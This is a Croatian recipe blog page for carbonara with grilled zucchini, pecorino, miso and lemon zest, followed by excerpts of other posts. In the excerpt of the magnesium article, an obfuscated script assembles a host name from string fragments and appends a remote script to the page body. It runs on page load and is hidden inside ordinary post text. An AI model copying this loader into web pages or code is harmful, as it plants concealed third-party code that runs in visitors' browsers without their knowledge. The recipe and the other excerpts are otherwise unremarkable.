CARNOBARA S GRILANIM TIKVICAMA I PECORINOM




Carbonara s grilanim tikvicama i pecorinom 



Ako tražite brz, ukusan i nesvakidašnji recept za ljetni ručak ili večeru, ova carbonara s grilanim tikvicama mogla bi vam se svidjeti. Hrskave tikvice s roštilja i bogat, kremasti umak od žumanjaka i pecorina stvaraju savršenu kombinaciju okusa.




Carbonara s grilanim tikvicama i pecorinom 


Sastojci:

  • 560 g tikvica (2 srednje), narezanih na ploške debljine oko 0,5 cm
  • 2 žlice ekstra djevičanskog maslinova ulja
  • 1 čajna žličica soli, plus za kuhanje tjestenine
  • 340 g tjestenine
  • 6 žumanjaka
  • 1 cijelo jaje
  • 85 g sitno naribanog sira Pecorino Romano, plus za posluživanje
  • 15 g svježeg bosiljka, grubo nasjeckanog
  • 1 žlica maslaca
  • 1 žlica bijelog misa
  • 2 čajne žličice sitno naribane korice neprskanog limuna
  • svježe mljeveni crni papar



Priprema:

  1. Zagrijte roštilj ili grill tavu na srednje jakoj vatri. Tikvice pomiješajte s maslinovim uljem i 1 čajnom žličicom soli pa ostavite 5 do 10 minuta da puste vodu.
  2. Pecite tikvice na dobro zagrijanom roštilju ili grill tavi oko 5 do 6 minuta sa svake strane. Po potrebi ih pecite u nekoliko tura.
  3. U velikom loncu zakuhajte posoljenu vodu i skuhajte tjesteninu prema uputama na pakiranju, tako da ostanu al dente.
  4. U velikoj zdjeli pjenjačom izmiješajte žumanjke, cijelo jaje, naribani pecorino, bosiljak, maslac, bijeli miso i limunovu koricu. Dodajte obilno svježe mljevenog papra.
  5. Ocijedite tjesteninui odmah je zajedno s toplim grilanim tikvicama dodajte u zdjelu s umakom. Miješajte brzo, ali nježno.
  6. Podijelite tjesteninu na tanjure, pospite dodatnim naribanim pecorinom i završite s još malo svježe mljevenog crnog papra. Poslužite odmah.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više